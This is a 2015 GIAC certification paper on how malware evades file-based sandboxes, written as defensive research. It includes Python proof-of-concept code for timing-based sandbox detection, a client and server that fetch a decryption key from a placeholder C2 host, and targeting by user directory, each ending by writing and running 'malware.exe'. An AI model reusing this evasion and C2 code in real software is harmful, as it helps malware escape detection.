Sleeping Your Way out of the Sandbox

GIAC (GSEC) Gold Certification

Author: Hassan Mourad, Hassan.morad@gmail.com
Advisor: Dr. Kees Leune
Accepted: February 10, 2015

Abstract

In recent years, the security landscape has witnessed the rise of a new breed of malware, Advanced Persistence Threat, or APT for short. With all traditional security solutions failing to address this new threat, a demand was created for new solutions that are capable of addressing the advanced capabilities of APT. One of the offered solutions was file-based sandboxes, a solution that dynamically analyzes files and judges their threat levels based on their behavior in an emulated/virtual environment. But security is a cat and mouse game, and malware authors are always trying to detect/bypass such measures. Some of the common techniques used by malware for sandbox evasion will be discussed in this paper. This paper will also analyze how to turn some countermeasures used by sandboxes against it. Finally, it will introduce some new ideas for sandbox evasion along with recommendations to address them.

1. Introduction

The term Advanced Persistence Threat is widely cited as originating in 2006 from the US Air force in reference to advanced cyber-attacks against specific targets (Fortinet, 2013, p2). The term has since been used by the security industry to refer to highly targeted, stealthy and sophisticated attacks.

In 2010, an advanced malware, notoriously known as Stuxnet, was announced to be behind hindering the nuclear program of Iran (Farlliere, O Muchu, & Chien, 2011). Earlier in the same year, Google announced that it had been a victim, among other US companies, to a highly targeted attack, operation Aurora (Drummond, 2010). In 2011 and 2012, Duqu and Flame malwares surfaced; both were highly sophisticated malwares with very specific targets (Bencsáth, Pék, Buttyán, Félegyházi, 2011) (Gustav, 2012).

Near the end of 2014, Symantec announced the Regin malware, an APT with very advanced capabilities that is able to attack specialized telecom equipment (Symantec, 2014).

Traditional security solutions were failing to address the APT problem. Signature based solutions such as antivirus and Intrusion detection systems were not able to detect such attacks.

This created a huge demand on the security industry to present a solution for the APT problem. The industry started exploring with existing solutions and introducing new solutions in the hope of addressing the issue. Some presented Security Incident and Event Management (SIEM) as the answer (LogRhythm, 2013); others offered full packet captures and Security analytics.

One of the promising solutions that were offered is file-based Sandboxing. File-based sandboxes rely on analyzing the execution of unknown files; and based on the behavior of this execution, it would decide whether a file was a malicious file or not. By basing its decision on what the file does (Behavior) instead of what the file is (Signature), the sandbox offered better chance of detecting unknown malware.

Before starting, a set definition of APT should be stated. According to the US National Institute for Standards and Technology (NIST), an APT is: “An adversary that possesses sophisticated levels of expertise and significant resources which allow it to create opportunities to achieve its objectives by using multiple attack vectors (e.g., cyber, physical, and deception). These objectives typically include establishing and extending footholds within the information technology infrastructure of the targeted organizations for purposes of exfiltrating information, undermining or impeding critical aspects of a mission, program, or organization; or positioning itself to carry out these objectives in the future. The advanced persistent threat: (i) pursues its objectives repeatedly over an extended period of time; (ii) adapts to defenders’ efforts to resist it; and (iii) is determined to maintain the level of interaction needed to execute its objectives” (NIST ,2011, p60)

This paper will focus on the second aspect of APTs, its ability to adapt to defenders’ efforts to resist it. It will explore the different techniques used by APTs to evade detection, highlight new techniques for evasion, and discuss the best way to address the evasive nature of APTs.

2. The Sandbox

There are two main techniques for analyzing malware: Code (Static) analysis and Behavioral (Dynamic) analysis (Zelster, 2009).

Code analysis focuses on dissecting the malware code in an attempt to identify all functions performed by the malware. The analyst tries to reverse engineer the suspected file (typically using disassemblers and debuggers) to understand what the malware is designed to do.

With behavioral analysis, the maliciousness of the sample is judged based on its interaction with the environment. By detonating the file in the analysis environment and monitoring its behavior as it interacts with the system, analysts can deduce some of the functions the sample is designed to perform and judge its maliciousness. For example, by observing a sample, an analyst can detect communication attempts to command and control servers, persistence techniques employed by the malware, or attempts to compromise the operating system.

Each analysis technique has its pros and cons. While a successful static analysis can provide a huge amount of details regarding the analyzed sample, it can prove to be a very daunting task for the analyst. The malicious code is typically buried inside several layers of encryption and obfuscation, rendering the task to be extremely hard in the case of APTs.

Behavioral analysis on the other hand can provide quick information on how the sample behaves, providing a quick judgment of its maliciousness. However, analysts only get to learn about this specific execution of the sample. Issues like time triggers, delayed executions, and other evasive techniques can be very challenging to address.

As mentioned earlier, with the advance in malware and the failure of traditional defenses to rise to its challenge, the need for new technologies rose. File based sandboxes was one of the answers to this challenge. It provides dynamic analysis of file samples, with some static analysis capabilities and offers the user a verdict on whether the file is malicious or not.

File based sandboxes typically fall in one of two categories; virtualization based sandboxes and emulation based sandboxes. In a virtual machine sandbox, the sandbox uses a virtual machine (either based on known virtualization technology or a custom technology) and installs hooks and monitoring tools on the operating system to monitor the file interaction with its various components. It is mainly focused on monitoring system API calls. Emulation based sandboxes simulate either the operating system or the hardware in software. For Hardware emulation sandboxes in specific, the box operates at a lower level, directly checking CPU instructions and assessing its maliciousness (Kruegel, 2014).

Each technique has its pros and cons. Hardware emulation has the advantage of observing areas in the code where there is no interaction with the operating system. Stalling loops is an example of code that is used to delay execution while not interacting with the operating system. It can however become a very complex task to judge malicious behavior on this low level and may require a lot of resources. Or it can be much slower than virtualization based sandboxes if not implemented correctly.

Virtualization based sandboxes, although blind to some areas of the code, provide easy access to information regarding the interaction with the operating system running at near native speed. Eventually all malware have to interact with the system to cause the damage.

It is beyond the scope of this paper to judge whether virtualization or emulation is better. Regardless whether the analysis is done through virtualization or emulation, the malware will try to detect certain characteristics of the analysis environment in an attempt to evade it. In the next section the paper will cover some of those techniques.

3. Malware Evasion Techniques

The main target for malware evasion is to detect whether it is running on its target system or if it is running in an analysis environment. Using various techniques, the malware authors would attempt to identify key differences between an actual target and a fake one. In their paper, “Hot Knives Through Butter”, Singh & Bu (2014) discuss the most common techniques used by malware to evade detection which can be classified into four main categories: Human Interaction, Virtualization Specific, Environment Specific, and Configuration Specific. This section provides a quick introduction to some of those techniques and draws heavily on their work. The reader is encouraged to go through the original paper for more details.

3.1. Virtualization Specific Evasion

Some Sandboxes are built on top of known virtualization/emulation environments such as QEMU and VMWare. Using specific characteristics of those environments the malware can tell it is running on one of them and hides its malicious part. Singh & Bu (2014) list some of those characteristics:

a. VMware System-service lists: By checking for VMware specific services such as vmicheatbeat, VMTools, and vmxnet, the malware can detect it is running inside VMware.

b. VMware Unique files: The malware can look for VMware specific files (e.g. VMware mouse driver).

c. VMX communication port: The presence of the VMX port used by VMWare for communication with the virtual machines can be used by the malware to avoid detection

d. QEMU detection: By simply checking for the string “QEMU” in the disk name, the malware can determine that it is running inside QEMU virtual environment (Lastline Labs, 2013).

3.2. Human Interaction based Evasion

With this evasion category the malware is trying to establish if an actual human is using the target. Hot Knives Through Butter (Singh & Bu, 2014) describes some of these techniques:

a. Mouse Clicks: The malware looks for mouse click activities as a sign of human interaction before executing malicious code. This technique was used by malwares such as Upclicker and BaneChant.

b. Mouse Movement: Looking for super speed mouse movements is an indicator of being running inside a sandbox. The malware can check for the cursor position and based on its position relative to time, it can judge whether this is an actual human or a sandbox.

c. Dialogue boxes: In this technique the malware presents a dialogue box to the user, and only activates after the user responds to this box. Automated attempts to run this malware would stop executing on the dialogue box.

d. Scrolling: By injecting malicious code deeper within a document and waiting for the user to scroll to the page that has this code, the malware can avoid detection. Simply opening the document will not launch the malicious code and hence automated detection would normally fail.

Fortunately, once such techniques are discovered they can easily be subverted by programmatically inducing human-like behavior into the sandbox.

3.3. Environment Specific Evasion

Sandboxes are always trying to simulate the target environment as much as possible. Unfortunately this is not always possible. Malware authors can use characteristics of their target environment, such as specific application versions or other environment settings to differentiate real targets from sandboxes. We will discuss this in some details in section 5 of this paper.

3.4. Configuration Specific Evasion

Attackers can use known default configurations of the analysis sandboxes to avoid detection. Below is a subset of these techniques. The last four originate from Singh & Bu (2014)

a. File Size Limit: Some sandboxes are configured with a default limit for file sizes they will analyze. By embedding the malicious code in a file larger than this size, the malware can avoid detection.

b. Execution name of the analyzed files: Some sandboxes use predefined names for the samples being analyzed, or the file path of execution. Malware authors can add a check for these names to detect the sandbox.

c. Volume Information: In many sandboxes the volume serial number is static since they are virtualized copies of the original system image. Known volume serial numbers can be used by the malware to detect the presence of the sandbox by checking whether it matches those known to be used by sandboxes.

d. Execution after reboot: File-based sandboxes do not normally reboot during analysis. Malwares can use this by performing no malicious behavior until after a reboot and hence the sandbox cannot detect its maliciousness.

e. Sleep Calls: Sandboxes are typically configured to analyze a sample for a defined period of time. By configuring the malware to wait for execution long enough to time out the sandbox, the malware can avoid detection. This technique will be specifically discussed in the next section.

4. A Deeper Dive into the Sleep Call

In order to be efficient, sandboxes have to analyze all files that are handled by the user. On any given day this can range from hundreds to thousands of different files, executables, office documents, PDF files and more. But the sandbox has finite resources and it needs to be very efficient in managing those resources. As such, the Sandbox would typically analyze the execution of files for a limited time period after which it would time out the analysis to free the resources and move to the next file.

Realizing that, and to thwart the analysis efforts, malware authors employed techniques such as sleep calls to delay the execution long enough to time out the analysis. The malware would not execute its malicious code before a certain amount of time has passed. In some cases time triggers were used to execute the malicious code in a specific time.

The NAP Trojan, discovered in February 2013, employed this technique to bypass detection. The Trojan calls the SleepEx() method with a timeout parameter of 10 minutes before executing any malicious activities, long enough to timeout most sandboxes (Singh & Islam, 2013).

This clearly presented a huge challenge to Sandboxes that had a trade-off to make between their limited resources and their ability to detect advanced threats. An action needed to be taken by Sandbox vendors.

4.1. The Sandbox Answer to Sleep Calls

Being presented with this challenge, some sandbox vendors found the answer to this is to manipulate the time presented to the analyzed sample. Since the sandbox is in control of the analysis environment, this can be used to lie to the malware about the current time or about the time that has elapsed. By forging system time, or presenting a manipulated CPU tick count, the sandbox is able to convince the malware that the time has elapsed and that it can continue its execution. In a way, they have short-circuited the sleep call.

Doing this the sandbox would have achieved its goal of preserving its resources while forcing the analyzed file to continue execution.

4.2. Detecting Sleep Acceleration

At first glance, the above approach seems to be efficient and able to successfully address the problem; however, the main problem of this approach is based on the wrong assumption of the sandbox's ability to control the execution environment. The moment one allows the executed sample to access the Internet, one loses this control. On the other hand, if one takes the approach of completely isolating the execution, one risks being detected by a simpler method of not being able to reach the Internet.

The assumption that the sandbox is the only source of time is completely wrong. The malware can use its internet access to check the time with external sources, such as NTP servers, or even getting the time from any website with normal HTTP(S) requests.

This presents the sandbox with a new challenge, a technique that could be called "Smart Sleep". The malware can begin by checking the time from an external time source; it then goes into sleep for a determined period of time in the hope of timing out the sandbox execution. After returning from sleep, it then queries the time source again for the updated time.

Now, in a normal execution environment (The victim's machine) the time difference will always be greater than or equal to the sleep time; however, under a sandbox that employs sleep acceleration, the time difference would be less than the sleep time.

Employing the below simple formula would result in the malware's ability to detect that it is running inside a sandbox.

If delta(t) > Sleep(t) execute, else No execute

The below python code (Figure 1) is a proof of concept python code that can be added to any malicious code to offer this capability of sandbox detection. It grabs time from a webserver over http, parses the time from the http response, sleeps, rechecks time and calculates time difference. If everything is in order it creates and executes another malicious file. In the case of a Sandbox, this will never be created since it will fail the time difference check.

```
import datetime as dt

import time, urllib2, re, os

#Time Extraction Function

def time_check():

    timesite = urllib2.urlopen("http://anypagewithtime")

    response =timesite.read()

    timeclause =re.search('[0-1]*[0-9]\:[0-6][0-9] (AM|PM)', response)

    timey1 = '2015 '+str(timeclause.group(0))

    time1 = dt.datetime.strptime(timey1, '%Y %I:%M %p')

    ts= time.mktime(time1.timetuple())
```

Hassan Mourad, Hassan.morad@gmail.com

```
            return ts
        #Get time before sleep
        t1ts = time_check()
        #Sleep for a while
        time.sleep(900)
        #Get time after sleep
        t2ts = time_check()
        diff = t2ts - t1ts
        #Check time difference – Should be > 900 in user land & < 900 in sandbox
        if diff < 900:
           print 'Sandbox Detected - Shutting down'
        else:
           print 'Sandbox not here - Let\'s have some fun'
        #Do bad things
           output = open('malware.exe','wb')
           output.write("Badstuff")
           output.close()
           os.system("malware.exe")
```

Figure 1. Smart Sleep – Proof of Concept Python code

4.3. Multipath Exploration

The above technique identifies a critical problem in sandboxes and dynamic analysis in general. Dynamic analysis only observes a single execution of the program. Unfortunately, as seen above, certain actions are only triggered upon passing certain conditions, which leaves the analysis system blind to parts of the code.

One way to avoid the above problem is a technique called "Multipath exploration". The technique works by exploring and executing the different code branches. "The goal is to obtain a number of different execution paths which can reveal different behavior that otherwise would be hidden" (Moser, Kruegel, & Kirda, 2007). Applying this technique to the above code would result in executing both the benign and malicious branches of the time difference conditions, resulting in the execution, and eventually detection, of the malicious code.

4.4. Attacking Multipath Exploration

Yet this technique can also be detected and bypassed. By keeping the time difference check on the server side, the malicious branch can be modified to check for the time difference on the server. If the time difference appears to be in order, the malicious code can then download a key that is used to decrypt its malicious payload. If the difference is incorrect, the key will not be downloaded and the file will appear benign to the sandbox.

The below simple formula can be used to detect multipath exploration

If delta(t)(Server side) >= sleep(t) then download key, decrypt, execute else No key, No execute

The below python code (Figures 2 & 3) implements this technique. A random number is generated to identify this specific instance of the malicious code, and is further used to refer to the server to check for the time difference.

```
import time, urllib2, random


#Time Extraction Function

def time_check(rnd,req):

    url2 = "http://CnC/"+req+"/"+str(rnd)

    print url2

    timesite = urllib2.urlopen(url2)
```

Hassan Mourad, Hassan.morad@gmail.com

```
    ts =timesite.read()

    return ts

#Generate a random Identifier- Can be key related

rnd = random.randint(100000000,1000000000)

req = "1"

#Get time before sleep

t1ts = time_check(rnd,req)

#Sleep for a while

time.sleep(900)

#Get time after sleep

req = "2"

t2ts = time_check(rnd,req)

#Get time difference

diff = float(t2ts) - float(t1ts)

#Check time difference – Should be > 900 in user land & < 900 in sandbox

if diff > 900:

    print 'Sandbox Detected - Shutting down'

else:

    print "Sandbox apparently not here - Let\'s double check with server"

    req ="3"

    xorkey = time_check(rnd,req)

    EncryptedStuff = "Really Encrypted Stuff"

#Use xorkey to decrypt encrypted malicious payload

    Badstuff = EncryptedStuff ^ xorkey
```

Hassan Mourad, Hassan.morad@gmail.com

```
    output = open('malware.exe','wb')

    output.write(Badstuff)

    output.close()

    os.system("malware.exe")
```

Figure 2. Attacking Multipath Exploration PoC – Client Side Code

```
import BaseHTTPServer

import time

class MyHandler( BaseHTTPServer.BaseHTTPRequestHandler ):

    def do_GET( self ):

        pat = self.path

       patcode = pat[1:2]

       rand = pat[3:]

        ts3 = 0

        ts1file = str(rand)+"ts1.txt"

        ts2file = str(rand)+"ts2.txt"

        if patcode == "1":

            ts1 = time.time()

            f = open(ts1file, 'w')

            f.write(str(ts1))

            f.close()

            self.send_response( 200 )

            self.send_header("Content-type", "text/html")

            self.end_headers()

            self.wfile.write( ts1 )
```

Hassan Mourad, Hassan.morad@gmail.com

```
        elif patcode == "2":
            ts2 = time.time()
            f = open(ts2file, 'w')
            f.write(str(ts2))
            f.close()
            self.send_response( 200 )
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write( ts2 )
        elif patcode == "3":
             f = open(ts1file, 'r')
            ts1 = f.readline()
            f.close()
            f = open(ts2file, 'r')
            ts2 = f.readline()
            f.close()
            if (float(ts2) - float(ts1)) > 900:
                self.send_response( 200 )
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write( "XoR Key" )
            else:
                self.send_response( 200 )
                self.send_header("Content-type", "text/html")
```

Hassan Mourad, Hassan.morad@gmail.com

```
            self.end_headers()
            self.wfile.write( "it's a Trap" )
def httpd(server_address = ('', 80), ):
    srvr = BaseHTTPServer.HTTPServer(server_address, MyHandler)
    srvr.serve_forever() # serve_forever
if __name__ == "__main__":
    httpd( )
```

Figure 3. Attacking Multipath Exploration PoC - Server Side Code

5. Future Work

With targeted attacks, the problem increases significantly. Malware authors can build their code to look for system artifacts that are specific to their target. If such artifacts are not found, they do not execute their malicious payload.

These artifacts can range from environment specific artifacts such as certain software packages installed, a specific browser, or company specific artifacts such as domain name, login banners, or certain files. And in the case of highly targeted attacks, this can be user specific artifacts like the username or user specific files.

The below sample code (Figure 4) bases its decision on whether it finds the home directory of its target user or not. This check will fail on most sandboxes, but will successfully execute on its target user machine.

```
import sys, string, os, glob
#Search system for target user home directory
f = glob.glob('c:/users/*targetuser*')
#If directory not found - Die
if str(f) == "[]":
    print 'Sandbox Detected - Shuting down'
```

```
        #Target Home directory found, do magic
        else:
            print 'Sandbox not here - Let\'s have some fun'
            output = open('malware.exe','wb')
            output.write("badstuff")
            output.close()
            os.system("malware.exe")
```
Figure 4. Targeting Individual User – PoC Python code

The below table (Table 1) contains some artifacts that can be used by malware authors in a targeted attack.

Artifact	Target	Location
Username	User	File system – Home Directory Registry Key – Logged in User
Domain Name	Company	Registry Key – Domain name
Browser version	Environment	Registry Key – Browser version
Software Package	Environment	Registry Key – Installed Software File system – Installation path / executable
Login Banner	Company	Registry Key – Login Banner

Table 1. Artifacts for targeted (environment specific) attacks

6. Recommended Solution

Evasive behavior is a clear sign for malicious intent. Samples using any of the discussed evasion techniques should be treated as malicious even if we cannot see the actual malicious payload.

One way to do so is to build signatures for this evasive behavior inside the sandbox. In the smart sleep attack we can build a signature that looks for sleep calls that are surrounded by calls to the internet, and possibly check for difference operations and comparison with the sleep time.

Yet this method may be prone to false positives, if the evasion signatures are too loose; or false negatives if they are too strict. This brings us back to the traditional problems of signature based detection.

In the case of environment artifact based evasion, it might be very hard to put a signature for such behavior. Your best option would be to customize the sandbox to reflect your specific environment, possibly by using your company's operating system image to build a custom sandbox. Yet this might not stop attacks targeting user specific artifacts.

In their paper, "Detecting Environment-sensitive Malware", the research team suggested using the evasive behavior of malware as it runs in different analysis environments to judge its maliciousness (Lindorfer, Kolbitsch, & Comparetti, 2011). A problem with such approach is the assumption that the malware will behave differently in the different analysis environments. While this might be true for some samples that uses different methods to evade different analysis environments, this is not essentially true for samples using a consistent technique for evasion.

A different approach is clearly needed to address this problem. By analyzing differences in executions in the Sandbox and on the client side we can detect the evasive behavior to a high level of certainty. Since the malware is designed to run its malicious payload on the target host but not to run it in the sandbox, this difference in execution is a clear sign for malicious intent.

An agent on the client side can communicate back to the sandbox its view of the execution, the sandbox should compare this with its own view and deduce whether or not there was an evasive behavior.

7. Conclusion

There are no silver bullets in security. It is truly a cat and mouse game. Sandboxing solutions are a good addition to your arsenal of defenses against malware, but they should never be regarded as your only line of defense.

As we evolve in the security industry, so does our enemies. There will always be new ways to evade our defenses. In this paper we presented a few new techniques to evade file based sandboxes as well as the recommendations to stop them.

In this ongoing war, your best strategy would be "Defense in Depth". Never rely on a single solution for your protection. Make sure that security is embedded in all your processes and that you have a layered approach to security.

And last but not least, People are your first – and best – line of defense. Make sure you empower them with the knowledge and tools they need to help you in this fight. Security awareness is the key to success.

References

Bencsáth B., Pék G., Buttyán L., Félegyházi M. (2011, September). Duqu: A Stuxnet-like malware found in the wild. Retrieved from: http://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf

Drummond, D. (2010, January). Google Official Blog: A New Approach to China. Retrieved from: http://googleblog.blogspot.com/2010/01/new-approach-to-china.html

Farlliere, N., O Muchu, L., & Chien, E. (2011, February). W32.Stuxnet Dossier. Retrieved from Symantec: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf

Fortinet (2013). Threats on the Horizon: The Rise of the Advanced Persistent Threat. Retrieved from http://www.fortinet.com/sites/default/files/solutionbrief/threats-on-the-horizon-rise-of-advanced-persistent-threats.pdf

Gustav, A. (2012, May). The Flame: Questions and Answers. Retrieved from: http://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/

Kruegel, C. (2014).Full System Emulation: Achieving Successful Automated Dynamic Analysis. Retrieved from https://www.blackhat.com/docs/us-14/materials/us-14-Kruegel-Full-System-Emulation-Achieving-Successful-Automated-Dynamic-Analysis-Of-Evasive-Malware-WP.pdf

Last Line Labs (Feb 2013). The Threat of Evasive Malware. Retrieved from http://www.lastline.com/papers/evasive_threats.pdf

Lindorfer, M., Kolbitsch, C., & Comparetti, P. M. (2011) Detecting Environment-Sensitive Malware. Retrieved from http://iseclab.org/people/mlindorfer/disarm_thesis.pdf

LogRhythm (2013). Detecting Advanced Threats. Retrieved from: https://www.logrhythm.com/Portals/0/resources/Detecting_Advanced_Threats_Use_Case_US.pdf

Hassan Mourad, Hassan.morad@gmail.com

Moser, M., Kruegel, C., & Kirda, E. (2007). Exploring Multiple Execution Paths for Malware Analysis. Retrieved from https://www.auto.tuwien.ac.at/~chris/research/doc/oakland07_explore.pdf

NIST (2011, March). NIST Special Publication 800-39: Managing Information Security Risk, p60. Retrieved from NIST: http://csrc.nist.gov/publications/nistpubs/800-39/SP800-39-final.pdf

Singh A., & Bu Z. (Feb 2014). Hot Knives Through Butter: Evading File-based Sandboxes. Retrieved from http://www.fireeye.com/resources/pdfs/fireeye-hot-knives-through-butter.pdf

Singh A., & Islam A. (Feb 2013). An Encounter with Trojan Nap. Retrieved from https://www.fireeye.com/blog/threat-research/2013/02/an-encounter-with-trojan-nap.html

Symantec (2014, November). Regin: Top-tier espionage tool enables stealthy surveillance. Retrieved from Symantec: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/regin-analysis.pdf

Zelster, L. (2009). Intro to Malware Analysis. Retrieved from: http://zeltser.com/reverse-malware/intro-to-malware-analysis.pdf

Hassan Mourad, Hassan.morad@gmail.com